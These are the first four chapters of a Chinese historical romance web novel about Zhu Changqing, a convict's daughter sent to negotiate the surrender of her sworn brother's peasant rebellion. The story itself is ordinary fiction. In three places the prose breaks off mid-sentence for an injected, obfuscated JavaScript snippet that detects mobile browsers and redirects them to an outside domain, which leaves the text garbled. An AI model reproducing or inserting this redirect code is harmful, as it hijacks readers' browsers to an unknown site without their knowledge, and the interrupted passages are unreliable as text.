《娘子常青》 1. 第一章 泰宁五年三月，早春，亦是个哀春。 南边各地天灾泛滥，西北匈奴频频挑衅，中原地区爆发起义，内忧外患，民怨四起。 京城里更有流言，说是龙椅上那位当年弑兄夺嫡，得位不正，才惹得上苍震怒，降下天谴。 乾清宫内，泰宁帝将手中奏章狠狠摔回案上。 玉盏打翻，“砰”一声碎了满地。 身侧服侍的御前太监吓得立马跪下。 上苍震没震怒他一个阉人无从知晓，但陛下此刻一定是怒了。 天子之怒，伏尸百万。 大太监顿时觉得脖子上凉飕飕的，也不知这脑袋还能再挂几时，心里早将那群倒霉文官的祖宗十八代骂了个遍。 殿内一片死寂。 就在阉人想为自己摇摇欲坠的脑袋说几句好话时，却听那位从血海里爬出来的皇帝道：“传朕旨意，生民劳苦，特令刑部大赦天下。” 奇了，这般大不敬的话传到耳边，皇帝不杀人，反倒要放人。 “是，是。”大太监忙不迭应着，抬袖抹去一脑门的汗，声音尖哑，还不忘奉承，“陛下仁德，百姓必当赞颂。” “对了。” 太监方要起身去办事，听了这两字，膝盖一软又迅速跪回去，恭敬等旨。 “朕记得祝氏孤女是流放去了陵江，命人接她回京。” - “祝小娘子，还请在此等候。” 太监脸上堆着和气的笑，止步在文华殿外，眯起的小眼又将面前的姑娘打量了一遍。 未施粉黛，眉眼如画。 这等容貌，便是在宫里也不常见。 祝常青颔首福身，轻声道：“有劳公公。” 她仍是罪臣之女，不得穿华服，只着一件朴素布衣，然礼仪端庄，举手投足间都是贵族气派。 眼见太监迈着小步进了殿，祝常青的神色沉下来。 五年前，泰宁帝登基，父亲获罪斩首，家中女眷被判处流放，戴着镣铐锒铛南下，终身不得入京。 成王败寇的悲剧尚且历历在目，如今她却被帝王匆忙召回，就连宫里惯会见风使舵的宦官都对她笑脸相迎。 事出反常必有妖。 她若有所思地抬眸，面前的文华殿一片灯火通明。 里头正在举办宫宴。 朝中有头有脸的大臣齐聚一堂，推杯换盏，谈笑风生。 太监低头含胸地从中间走过，行至殿上主座的泰宁帝身侧，贴耳密语了什么。 帝王点头。 随即就见那太监直起腰背，高声道： “祝氏嫡女，祝常青觐见！” 这个久违的名字如同一个惊雷，“轰”一声巨响过后。 殿内霎时鸦雀无声。 所有官员都呆若木鸡，怀疑自己的耳朵出了问题，更有甚者震惊得连酒杯都握不稳，将杯中清酒全撒在了衣襟上。 满殿的目光齐齐朝宫门处看去。 只见一颀身玉立的女子款款走入，低眉顺眼的神情反倒让人觉得她宠辱不惊。 春寒料峭，祝常青在殿外等了许久，身上沾染着寒气。 她不敢多看，只盯着脚下的路，走到殿前，提裙跪拜。 “罪女祝常青，拜见陛下。” 清澈的嗓音终于让满堂官员回过神来，眼神交汇，神色复杂，谁也不敢多说半句话。 搞不好真是要掉脑袋的。 于是只能沉默地望向殿上跪作一团的祝氏孤女。 祝氏，前朝盛极一时的家族。 祝常青的父亲在先帝时期备受器重，还未到不惑之年，就已官至正二品礼部尚书，兼任翰林学士，位极人臣，风光无限。 但这位人臣坏就坏在和东宫故太子走得太近。 当今陛下身为先帝三皇子，虽非嫡非长，但德才出众，有大帮臣子支持，夺嫡之心昭然若揭。 一朝政变，帝王更迭。 权臣就成了罪臣，且权越大，罪越深。 身为太子旧党的祝氏无疑是新帝立威最好的磨刀石。 一刀下去，血溅三尺，满朝俱畏。 高堂之上的帝王似乎也想起了这段血淋淋的回忆。 他看着祝常青，默了半晌，并没有允她起身，平静开口：“朕当年特许祝氏女眷流放陵江，不必去往西北，你在陵江这五年过得如何？” 祝常青道：“陛下宽厚，体谅家母身弱，不堪苦寒。陵江之地温暖富庶，罪女苟活至今，时常感念陛下盛恩。” 她最后一句话讲得极为奉承，席上两个年轻男子险些忍不住笑。 一个被父亲瞪着眼警告，收敛回去，一个倒是无人敢管，轻勾着唇。 泰宁帝又问：“南下流放之时，可曾路过蜀平？” 祝常青如实答：“路过的。” 这两个问题显然都不是关键，不过是帝王用来攻破她心理防线的话术。 祝常青回答得从容，殿内的大臣们却都默默捏了把汗，生怕一个不注意，泰宁帝就要命人当场斩了这祝氏遗女。 四方烛台，焰火摇曳。 帝王眯了眯眼，似乎真的对祝常青起了疑心：“五年前的旧事，还能答得如此不假思索，看来你对蜀平之地印象深刻啊。” 面对皇帝突然的发难，祝常青并未慌乱，不紧不慢道：“回陛下，因家母正是于蜀平途中过世，所以罪女难忘。” 合情合理，但这不是泰宁帝想听到的答案，他没有表示任何怜惜之意，继续追问：“你在蜀平可曾结识什么人？” 祝常青闻言心中一惊，终于难以遏制地抬起头来。 泰宁帝落在她身上的目光深不可测，却也带着轻蔑，无外乎看一只苦苦挣扎的蝼蚁。 一失足成千古恨。 祝常青心中对此次的进京召见有了大概的猜测，斟酌片刻，道：“不敢瞒陛下，罪女在蜀平确实结识过一位农民出身的男子，名叫吴双，其为人耿直爽朗，无意中得知罪女经历丧母之痛，颇为关照。” “那你现在可知朕为何要召你回京？” 极具威压的声音从头顶落下来，不等祝常青回答，泰宁帝冷哼一声，怒喝：“蜀平吴双，以平反祝氏血冤，救民立世为旗号，率农民兵起义，占田夺粮！” “祝常青，你该当何罪！” 烛火倏地灭了两盏，光亮化作袅袅青烟升起。 官员们瞬间醒了酒，撩起袍子纷纷下跪。 整个大殿一时只能听见膝盖骨碰在地面上的脆响。 祝常青出了一身的冷汗。 服侍的宫女宦官都已经退下了。 帝王高坐堂上，两侧是朝廷百官，她身为在场的唯一一个女子，蜷在大殿中央，被审视，被判决。 “回陛下！”祝常青咬着牙喊出这一句。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14438674|153948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一刻她真的认为，自己今天就要交代在这里了，可越到生死攸关的时候，她的头脑竟越发的冷静。 起义造反，那是不容置疑的死罪，该流放的流放，该斩首的斩首就好，何苦把她召回京都，当着这么多人的面兴师问罪一番。 祝常青跪了太久，连脊背都忍不住颤起来。 吴双起义用的是祝氏名号，她作为祝氏唯一还在世的人，理论上算是这场起义的核心。 而她不但没死在陵江，还被召回了京师。这意味着什么？ 难道陛下也想让这支起义军回京？ 招安！ 祝常青眼前闪过一道亮光。 是了，自五年前的政变之后，泰宁帝血洗了大批投靠故太子的大臣，朝中可用之人不多，武将更是只有冯氏一人扛大旗。 与其费兵费力地去镇压，不如就利用她这个祝氏后人，将这支由农民自发组成的军队收入朝廷。 给祝氏一个戴罪立功的机会，还能彰显天家隆恩。 祝常青总算缓下一口气，后知后觉地发现整个人已经僵到不能动弹。 声线也因为嗓子的紧绷而有些不稳： “吴双之举罪女并不知情，祝氏也绝无叛君不忠之心，罪女愿以祝氏遗女的身份，替陛下招安吴双，望陛下准许！” 说完，她本就垂着的脑袋又低下去，深深磕了个头。 此事能从祝常青的口中主动提出自然是再好不过，皇帝的面子里子都保全了。 泰宁帝的眼神里终于流露出了一点儿欣慰，挥手道：“都起来吧。” 足以砍头的大罪就被这么轻飘飘地揭过，生杀予夺不过皇帝的一念之间。 祝常青双腿早没了知觉，双手撑着地但怎么也站不起来。 最后还是泰宁帝叫了两个宫女进殿，一左一右地把她扶起。 她刚站稳，又朝帝王福身，险些摔回去。 宫女忙将她搀住，她却固执地把礼行完，然后开口：“陛下，此行若只罪女一人，怕是难完成所托，罪女斗胆向您要两个人。” 泰宁帝定睛看她，问：“你想要谁？” “一个是小杜大人，杜宸安。” 所有人闻言都朝杜氏父子的方向看去，脸上神情各异。 杜氏与祝氏交好是前朝人尽皆知的事，即便后来两家所扶持的皇子不同，却一直保持着交往。 当初祝氏获罪，杜尚书的儿子杜宸安还曾冒死求过情。 两人算是青梅竹马，想要有个熟悉的人陪在身边也是人之常情。 泰宁帝允了，接着问：“还有一个呢？” 祝常青暗自松了一口气。 剩下的一个人在她的计划里并不重要，只道：“从三法司拨个小吏随罪女南下便好。” 烛台燃着灯芯，蜡油热融滴落。 泰宁帝摩挲着茶碗，沉思的样子让祝常青心中又泛起隐隐的不安。 然后便听泰宁帝念出了本朝世子的名字： “李凭栏。” “她既要三法司的人，那朕便将你这个刑部左侍郎予她罢。” 满殿瞩目中，只见座次最靠近皇帝的那位郎君应声站起。 绯袍加身，面如冠玉，天潢贵胄，通身贵气浑然天成。 他似不惧天威，朗笑着行揖礼：“臣领旨。” 祝常青站在原地看他，心头如遭雷劈，是万万笑不出来了。 2. 第二章 招安的事情拍板定案，宫宴便就此告一段落。 祝常青退至殿外，等皇帝朝臣们依次都走了，才有一太监领她出宫。 更深露重，宫门前已有一辆马车候着。 提着灯笼的小太监侧过身，规规矩矩比了个“请”的手势。 祝常青谢过，提裙踩上脚蹬。 方一掀开帘子，险些叫眼前的景象吓着。 她回头看了一眼领路太监和车夫，见两人并无异样，这才平复心神，动作利索地坐进去。 “夜闯小娘子马车，这种事亏你做得出来。” 眼前的杜宸安正借着昏暗烛火瞧账本，祝常青一张嘴便是挖苦：“五年不见，真是愈发丢人了。” 账本“啪”一声合上，杜宸安将其卷起敲在祝常青脑门，力道丝毫不怜香惜玉。 “你倒不如先想想自己吧，一回京就给我惹这么大麻烦。” 蜀平动乱的消息半月前就传回了京，皇帝第一时间派遣将士兵队前去镇压，不料训练有素的朝廷军队面对自发起义的农民兵时，居然久攻不下，履履退败。 近年来又匈奴泛滥，朝中猛将冯直还在北地作战，兵力大量消耗，泰宁帝为此愁眉不展，自然不愿意多花力气在内乱上面。 于是看到祝常青出现在文华殿时，杜宸安便心中了然。 两人有五年未见，期间因祝常青罪女的身份不好时常书信往来，每年只有除夕前后会各寄一封报平安。 杜宸安去年升任户部陵江郎中，倒是几次上请外派陵江，但都被驳回了。 原以为再见面必然有所疏远，不料说起话来都还是和从前一样，嘴上不饶人。 祝常青托着下颚，仔仔细细打量起面前的好友，发觉他和记忆里的半大小子有了很多不同。 摇着头叹息一声，不打算过多感慨，又说起了正事：“今夜我在殿上，原本只想要个三法司的小吏，好领蜀平的地方官员回京查办，不想竟请来了李凭栏这尊大佛，伤脑筋。” 杜宸安不解：“你奉命招安，有世子作保，有何不好？” 祝常青闻言往车夫的方向看了眼，虽知道他已被杜宸安买通，但还是谨慎地压低声音：“若是为了招安，自然没什么不好。但等此事了了，我不打算回京复命，我想直接逃回陵江。” 如果随行的是个不入流的小吏，等到了蜀平，山高皇帝远，有杜宸安在上头压着，谅别人也不敢阻拦。 可惜来的是李凭栏，这情况就大大不一样了。 普天之下，除了泰宁帝和他父亲安亲王，怕是再没人能压得住这位世子。 “胡闹！”杜宸安下意识喝止，皱眉问她，“好不容易回京，又去陵江作甚？” 毕竟还要拉人入伙，祝常青解释：“如今的京城，放眼望去全是当年的三皇子党，我一个故太子党的人，走一步都觉得脑袋晃三晃。况且陛下在流放之初允我于陵江隐姓埋名，我如今在那儿有田有宅，当然要回去。” “你这话以后不可说，又不是五年前，哪还有什么三皇子党？都是陛下的臣子。” 杜宸安仍觉不妥，摇头劝她：“普天之下莫非王土，陛下若真想抓你，你便是跑到天涯海角也无用。不如就等事情了结先回京，你有功在身，说不定陛下会开恩。” 祝常青自知此举冒进，想要实施有许多阻碍，还容易害人害己，点头表示会再好好考量。 她心中郁闷，朝窗外看去。 月色当空，马车缓缓停下，车夫在外头唤道：“祝小娘子，宅子到了。” 泰宁帝赐了她一间城郊的陋室，以作今夜的落脚之地，明日一早便要启程。 祝常青和杜宸安对上一眼，冲他轻轻点头，让他不必担心自己。 在她撩开帘子下车前，杜宸安还是忍不住开口叮嘱：“若你想清楚了，到时真要回陵江，不必瞒我，我会帮你。” 五年前冒着被父亲打断双腿，被皇帝砍头的风险也要为她求情。 不差这一回了。 祝常青身形一顿，难得正色，朝他福身一礼，道了一句“大恩不言谢”，转身下车。 更夫正巧路过街巷，拿梆敲锣，口中高声念道：“夜半三更，关门关灯！” 春夜岑寂，她的背影一点一点隐入无边夜色。 身后响起一串渐行渐远的“笃笃”马蹄声。 - 翌日清晨。 是个不错的晴日。 祝常青走出院子，三架马车已停在面前。 她转身掩上大门，再回身时，只见正对着她的那辆马车的侧帘被一只手挑起。 露出车内人的脸。 李凭栏不言不语的时候，那张天然雕琢的脸就像是件触感冰凉的玉器，让人忍不住想细细观赏，连呼吸都怕碰碎了他。 祝常青垂眸行礼：“世子金安。” 玉人随意抬手免了她的礼，一旦说起话来就多了几分活气：“赶紧些，别磨蹭。” 不等祝常青回话，帘子就被放下，彻底阻隔开两人。 在外头独自生活了五年，祝常青自认为她的高门小姐脾气早被搓磨光了。 面对那幕微微抖动的车帘，撇嘴轻叹，扭头往前面的马车走去。 她的马车在列队里居中，前有杜宸安，后有李凭栏。 陛下还亲派了二十精兵保护他们的安危，毕竟此行中有两位朝廷重臣，若是为此伤了他们，那才是得不偿失。 从京城到蜀平，走官道大约需要七日时间。 但招安迫在眉睫，一日也耽搁不起，因此依据最快的路线，车队会在第二日离开官道，抄一条山路，大约五日就能抵达。 小路自不比官道平坦，车轮总会辗过一些凹凸不平的石块，祝常青的大腿都震麻了好几轮。 车上连半个用来消遣的物件都无，她闲得快要长草，又开始细细筹划自己的逃跑大计。 祝常青将侧边的车帘掀开，喊了两声跟在她马车旁的士兵：“可否麻烦你帮我去问问杜大人，这起义军的具体情况。” 士兵领命，小跑至前面的马车旁，没一会就回来回话：“回祝小娘子，杜大人说他也不甚清楚，让您可以去问世子。” 祝常青犹豫片刻。 李凭栏是泰宁帝胞弟的独子，天生与祝氏立场不同，她从前没怎么和这人打过交道。 只记得京中有段时间流传过一则趣事： 说是安亲王连着好几日告假不肯上朝，泰宁帝以为他起了什么异心，特地把人叫到跟前敲打一番，最后才听安亲王苦巴巴地解释。 原是李凭栏那年十五，到了可以提前相看亲事的年纪，安亲王妃在某次赏花宴上透露此意，便彻底一发不可收拾。 每日下朝之后，都有一大帮同僚削尖了脑袋要把自己家的女儿介绍给他，据说还有直接塞八字的。 杜宸安跟李凭栏素来交情不错，当时把这事儿当笑话讲给了祝常青听，还嬉皮笑脸地问需不需要托自己的父亲把她的八字也塞去一份。 祝常青彼时只见过李凭栏两面，也当然晓得杜宸安是在打趣，白了他一眼，大言不惭： “世子身份尊贵，人也傲得不行，谁嫁进去谁倒霉！” “祝小娘子，小人还要去问吗？”士兵见她一直不发话，主动询问。 祝常青回过神，平静道：“去吧。” 然而几息后，士兵带回来的话让她硬生生呛了好大一口茶水。 “祝小娘子，世子让您去他马车。” 祝常青颇为难以置信地看向传话士兵，后者虽常在军中，显然也懂一些男女大防的道理，挠着头不敢和她对视。 世风日下。 祝常青暗自腹诽，这京城里的歪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14438675|153948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风邪气真是愈发猖狂，昨日夜闯马车，今日邀她同乘，眼里都还有没有王法。 当然，这些不过玩笑话。 祝常青一介罪臣之女，身家性命都还岌岌可危，清白名声早就抛诸脑后。 她一边叫人停车，一边在心里感叹： 安亲王府的清誉今日就叫她损一损罢。 这么想着，心里反倒生出点莫名的兴奋，纵身一跃跳下马车，险些摔了个脸着地。 提裙小跑至李凭栏的马车前就老实了许多，等人搬来脚蹬，稳稳上车。 她不敢贸然掀帘，在外头道了句：“世子金安。” 很快就听里头传出一声：“进来。” 祝常青如愿拨帘而入。 马车里的构造和她的相同，竟然并没有因为二人身份的天差地别而有任何区别对待。 李凭栏正坐在桌边看古籍，听见她进来却头也不抬。 祝常青只好走到他面前，又行一礼：“叨扰世子。” 他这才堪堪掀起眼皮正视她，慢悠悠将古籍合上，先一步发问：“吴双的事情你不知道？” 祝常青摇头。 心里犯嘀咕：我要是知道还麻烦你做甚。 “你不是他的义妹吗？” 李凭栏语气稀松平常，明明是句反问，被他念得像在陈述事实。 祝常青眉心一跳。 心道：吴双这缺心眼的，连这种事都大肆宣扬了？ 但她面上不显，只想着怎么说才能让自己显得无辜些： “不过是五年前路遇蜀平，意外相识后觉得投缘，草草结拜成异姓兄妹。这些年毫无交集，罪女真是什么也不知道。” 好一番情真意切，李凭栏认真打量着她的神情。 又想起昨日她跪在殿上，胆战心惊地感念陛下宽厚的那一顿言辞，倒是如出一辙的，巧言令色。 李凭栏冷冷嗤笑一声。 祝常青被盯得不自在，但也知道面前这人是何等的金贵，于是不敢表露半分不满，垂首静待发落。 自找苦吃。 祝常青在心里评价自己。 果然，有些第一眼就不对付的人还是一辈子都不要去打交道才好。 沉默半晌，她终于耐心告罄，刚想问李凭栏到底愿不愿意告诉自己关于起义军的消息，就听外头突然一阵刀剑出鞘的森森声。 “有刺客！” 士兵大喊。 马车紧急刹住，祝常青脚下不稳，直接被甩到了一旁的椅子上。 打斗的喧闹声传入。 李凭栏反应极快地站起，眉头紧蹙：“你在里面别动。” 说完迅速出了马车。 什么情况？ 变故来得太猝不及防，祝常青揉着被撞疼的手肘，一时想不明白。 他们奉陛下之命出任招安，谁人胆子大到敢派刺客阻拦圣上旨意。难不成是杜宸安和李凭栏的仇家找上门来了？ 但很快祝常青就知道了。 哪里是什么刺客，分明就是山贼土匪！ 一个面有疤痕的男人胡乱挥开了马车的帘子，衣着褴褛，提着刀往里张望。 他一眼就看到了缩在椅子上的祝常青，浑浊的双眼里顿时闪出饿狼般的绿光。 “这儿还有个小娘们藏着呢。” 他一边淫恶地笑着，一边走进车厢。 祝常青整个人由于高度的紧张不受控地颤抖起来，嗓子如同被一层干涩的薄膜封闭住，发不出半点声音。 她下意识握住手边的茶杯，攥在手心里越来越紧。 此刻，那恶徒在她眼里比万事万物都要清晰，却令她头晕目眩。 他在不断地靠近。 一步，两步，三步。 祝常青终于遏制住恐惧，拼死一搏，用尽全身的力气将茶杯狠狠扔了出去。 3. 第三章 电光石火之间，只见那歹徒脖子前忽然横上了一把利剑。 面容可憎的男人尚未来得及有任何反应，轻轻一抹，见血封喉，瞬间没了声息。 李凭栏刚要开口说什么，只觉肩头被一个硬物狠狠冲撞了一下。 疼得他拧眉。 “咕噜噜。” 茶杯落地滚了几圈，磕破一个角。 祝常青呼吸渐渐趋于平缓，终于从生死边缘抽离出来，讷讷地抬头，看向面前被她砸了个正好的李凭栏。 四目相对，气氛尴尬。 李凭栏嘴角一抽，顿时没了安慰她的兴致，咬牙切齿地吐出一句“瞄得真准”，把土匪的尸体丢到车外，又头也不回地出去了。 圣上派来的那二十精兵身手非凡，外头的打斗声很快随着时间流逝慢慢平静下来。 祝常青纠结地咬了咬手指，想着方才砸在李凭栏肩头的那一下。 确实用了十二分的力气，怕是不紫也得青。 明明是对着土匪的脑袋砸过去的，谁料她的准头竟差成这样，好死不死落在前来救她的李凭栏身上。 这可如何是好？ 就在她脑内天人交战之时，马车帘子又陡然被掀开。 祝常青吓得几乎跳脚，看清来人后才拍拍胸口，安下心来。 杜宸安跟在李凭栏身后进了车厢，见她这副心神不定的模样，笑着调侃：“怎么，你做贼去了？” “可不是做贼了吗。” 李凭栏拿过桌上仅剩三只茶杯中的一个，给自己倒了杯茶，慢悠悠地开口。 祝常青被他问罪般轻慢的目光盯得心里发虚，垂头飞速行了一礼。 却发现杜宸安的衣角上沾染了尘土和血迹，惊讶地问：“你不是不会武吗，去外头瞎凑什么热闹？” 杜宸安顺着她的视线看去，掸掉衣袍上的飞尘，坐到桌边解释：“三年前被我父亲扔去军营里住过一段时日，已经会一些防身的拳脚了。” 他突然又想到什么，话锋一转：“不过也都是三脚猫功夫，此地山匪聚众，保险起见，你我这等手无缚鸡之力的弱小，接下来两日就在世子的马车中度过吧，等晚上安置再各自回去。” 李凭栏放下茶杯，不可思议地抬高音量：“疯了不成，你让她跟我们二人待在一处？” 杜宸安反唇相讥：“不是你先把人叫过来的吗？” 李凭栏没心思同他争这些，却也想起祝常青最初的目的是向他打听起义军的消息，于是拿出纸笔，唤人到自己身旁坐下。 他寥寥几笔就画出了蜀平的地形：“蜀平地势复杂，唯有西南方有大片平地，吴双占据一隅，三日前到京的急信说兵力已骤升至三千。” 三千。 祝常青心中一惊。 这可不是一个小数目，况且吴双正式起兵至今才半月有余，就能号召如此庞大的兵力，假以时日，恐怕真的会搅动风云。 五年前那个于她有过葬母之恩，五大三粗的义兄，如今竟成了这般人物。她默默感概了句物是人非，随即把图纸挪到自己的面前，仔细研究起来。 吴双位于蜀平的西南角，朝廷军队则在其东北方与之对峙，陵江又地处蜀平的东南方向。 她若是想偷逃，就必须借助吴双军队的掩护，从西南角出发，直接南下。 如果被朝廷的人发现了，大概也能猜到她的行踪，一则派人去东南方向将她拦截，二则直接封锁陵江。 那么她就可以选择暂且北上，避一避风头，或者另择他乡。 朝廷愿意封锁陵江已是最极端的猜想，总不会为了一个掀不起风浪的孤女戒备全国。 亦或者。 赌一个皇帝看在她招安有功的份上，放她一马的侥幸。 不管不顾，直奔陵江。 “你想逃？” 李凭栏凛冽的声音在耳边陡然响起。 如平地惊雷，炸得她脑中霎时一片空白。 祝常青指尖一颤，这才发现自己竟不自觉地用指甲在宣纸上刻印出了一条条细小的路线。 无一不是从蜀平的西南出发。 她缓慢地吞咽下口水，极力强迫自己稳住心神。 连杜宸安的神色都紧张起来，放在桌上的手掌缓缓握成了拳。 李凭栏虽只是揣测，但语气干脆果断，仿佛已经下了定论。 “怎么会。” 祝常青扯着嘴角勉强笑起来，扭过头同他对视：“皇命在身，罪女若是逃，岂不是找死？” 眼前的一双眸子异常深邃，在紧绷的沉默中洞若观火。 祝常青不想被怀疑，只能坚毅地回看她，好像这样就能证明自己的坦荡。 他却轻轻压眉，慢条斯理地质问：“那你划的这几条线，是什么意思？” 祝常青缓缓看向桌上摊开的宣纸。 那一道道崎岖隐秘的划痕此刻化作了实质的银线，正勒在她的脖颈前。 稍有不慎，就会割破她的喉咙。 “罪女在想……” 她吐字艰难，一字一顿。 “我在想，朝廷的军队只堵住了起义军北上的路，他们有没有可能……往西北走。” 蠢问题。 且不论西北再往外的地形有多么不利于军队迁移，单看这大半月来吴双都没有带兵逃离的动作，就说明他对现在有田有粮的生活十分满足，不会轻易放弃阵地。 这一段路程马车行驶得格外平稳，车厢内连车轮滚动，辗过土地的声音都清晰可闻。 只听一声妥协似的叹气，李凭栏抬起根手指，碰倒了手边的茶杯。 茶水倾出，洇在宣纸上，墨迹瞬间渲染开，成了一幅看不清的废图。 他语气平淡：“这不是你该想的，你只需要带着吴双，平安回京。” 祝常青垂首称是，一颗心却还七上八下地吊着，默了半晌，她突兀地开口：“世子可知，当日陛下令我招安吴双，我为何要了三法司的人？” 这话祝常青原本并不打算说。 等他们到了蜀平，见过百姓生活之状，面前这位刑部堂官自会有分辨。 可惜她不慎出了这样的岔子，不得不想办法分散些李凭栏的注意。 “地方起义，无非是不满谋生之苦，父母官责无旁贷，即便你不提，陛下也会派三法司来提人查办。” 谋生之苦。 祝常青想，是了，就是这轻飘飘的四个字。 她道：“五年前我南下，路遇蜀平，饿殍遍野，家母病入膏肓，在途中郁郁而终，是吴双帮我安葬。” “而我之所以会遇见他，是因为他的幼妹刚刚被饿死。蜀平地处中原，旱情连连，只怕这些年的情况不曾好过半分。” 杜宸安听得生疑，摇了摇头，搭腔道：“蜀平的账虽然不归我管，但每年发下去的赈灾银不会短缺，户部蜀平郎中也从未提及过此事。” 祝常青不再说话。 朝廷官员如何层层勾结，贪污腐败，中饱私囊，这不是她能够议论的，于是机灵地寻了个合适的时机，告辞回自己的马车了。 - 他们抵达军队驻扎处是在两日后的黄昏。 作为军队首领的卫镇抚亲自前来迎接，刘广石老远就瞧见马车前的李凭栏，跟见了菩萨似的，两眼放光地冲上来。 不用想也知道，他是要跟这位开朝以来最年轻的三品大臣，当今陛下唯一的亲侄子，好好倒一番苦水了。 然而李凭栏根本不等他开口，虚掸了两下宽袖，漫不经心地免了他的礼，笑道：“刘将军，你领命镇压起义半月有余，虽未见半点成效，但陛下谅你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14438676|153948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劳苦，不予降罪，你不必慌张。” 刘广石一箩筐的话到嘴边硬生生全了咽下去。 他原是想邀功，哪料李凭栏一开口就是降罪，吓得他顿时像只鹌鹑，什么旁的话都不敢说了，连连谢恩，然后麻溜地带着三人去了两军交界处。 中间一条清晰的分界线，两边各有一排士兵驻守，起义军见对面突然来了人，握紧手中的大刀，警觉起来。 祝常青站在左右护法中间，一点一点向安全界限逼近。 “对面的什么人？给老子站住！还想开打？！”起义军中的一个暴脾气挥起刀指向祝常青，神色愤怒，破口大骂。 此话一出，两军刹时剑拔弩张，都不甘示弱地亮出兵器。 刀剑的冷光险些晃了祝常青的眼睛。 李凭栏却在这僵持的氛围中轻笑一声，握着她的上臂，将她推出去小半步，语气轻蔑而讽刺：“打着祝氏的名号想要造反，怎么，连祝家后人都认不得？” 起义军们闻言都是一怔，看向面前这个气质非凡的小娘子。 祝常青抓住机会，高声道：“你们去通报吴双一声，就说他的义妹找他来了。” 士兵们面面相觑，将信将疑，皆不敢轻举妄动。 反倒是方才的那个暴脾气又最先反应过来，一转身，撒丫子就跑远了，边跑还边大声嚷嚷：“老大！老大！你妹子找你来了！！” 不过片刻。 对面的军营里就冲出来一个皮肤黝黑，身材魁梧的男子。 他奔来的速度太快，众人还没反应过来，他就直接冲过了安全线，像头狗熊似的将祝常青抱在怀里。 祝常青眼前一黑，只听见头顶传来浑厚的粗嗓：“妹子！你咋来这儿哩！” 是吴双，没跑了。 比五年前还要结实。 祝常青艰难地将人推开，生怕朝廷兵一个冲动就把他给斩杀了。 事态紧急，她理了理自己的衣裙，没工夫讲久别重逢的话，当着众人的面，温声道：“义兄，我这次来，是想替朝廷招安你的。” 吴双脑子转不过来，两眼直愣愣的。 他尚且还没从自己五年未见的义妹突然出现在了面前，并且怎么越长越水灵了的惊叹中回过神来。 乍听招安两字，下意识地回道：“你说啥？” 祝常青对他的反应很满意，根本不给他多余的时间思考，紧接着道：“我知此事突然，你一时间很难接受，但我会与你细细言说，先去你军中可好？” 吴双不明所以，但还是赞同地点头：“好啊好啊。” 她面上总算露出了这两天的第一道喜色，方要与杜宸安和李凭栏福身告辞，手臂就又被握住，礼行到一个不上不下的位置。 李凭栏居高临下地盯着她，唇一张一合：“本官同你一道。” 他说完将手掌松开，祝常青才得以站直身。 她心里大喊着万万不行，但又不能说出口，只好扭头去看吴双，轻微皱眉，悄然使了个眼色。 吴双机灵得很是时候，立马明白了义妹的意思，摆出起义领袖的架子，怒目圆睁：“我只信我义妹，其余人想进我军中，要么打进来，否则，免谈！” 刘广石见不得他的嚣张样，在一旁听得火气大涨，暗骂声娘，拔了剑想要砍过去，却被杜宸安一个眼神拦下了。 祝常青心中安定，对李凭栏露出无辜的神情： “李大人可是不信我？然罪女既有皇命在身，自当万死不辞，您且宽心。” 李凭栏不悦地眯眼，对她又了新的认识。 此女不仅巧言令色，恐怕见风使舵、惺惺作态也是一把好手。 “半个时辰。”他冷冷道，“本官只给你半个时辰，若半个时辰后你还没出现在我面前。” “那就打。” 4. 第四章 军营很大，祝常青跟着吴双一路往里走。 发现沿途的士兵们都在操练，纪律严明，连侧目向他们投来目光的人都鲜少。 能将半路出家的农民兵带成这样，她这位义兄似乎确有将帅之才。 两人进入军帐，面对面坐下。 帐中空间宽阔，陈设简单，只一案一榻，若是再多放三五床被衾，怕是和普通士兵住的帐篷没什么差别。 吴双嘴笨，双手拘谨地放在膝上，瞧着面前如花似玉的小娘子，一时间不知该说什么好。 于是祝常青先他一步开口：“义兄，起兵之后你过得可比从前好？” “好，好。”吴双连连点头，“我和兄弟们把那些奸商狗官强占的土地都抢了回来，如今在我军中的兄弟人人都能吃饱了！” 投靠起义军就能分到田地，不用饿死，难怪参军的人数会涨得那么快。 祝常青了然，又问：“平反祝氏冤情，这也是你想出来的？” 就是这句借了祝氏名义的口号，将她坑害至此。 吴双忙摆手否认：“是个读书人想的，他家中还有媳妇孩子，不肯当兵，但告诉我起兵得用大义作借口，他知道你是我妹子，所以编了这个口号，领完粮食就回家去了。” 算他跑得快，祝常青想，否则就算是扯了头发，豁出去女儿家的脸面，她也一定要同此人好好算算账。 拉回思绪，她终于说起正事：“那你可愿意归顺朝廷，去往京都？” 吴双长了一对粗眉大眼，此刻犹豫的情绪明晃晃地全写在里面： 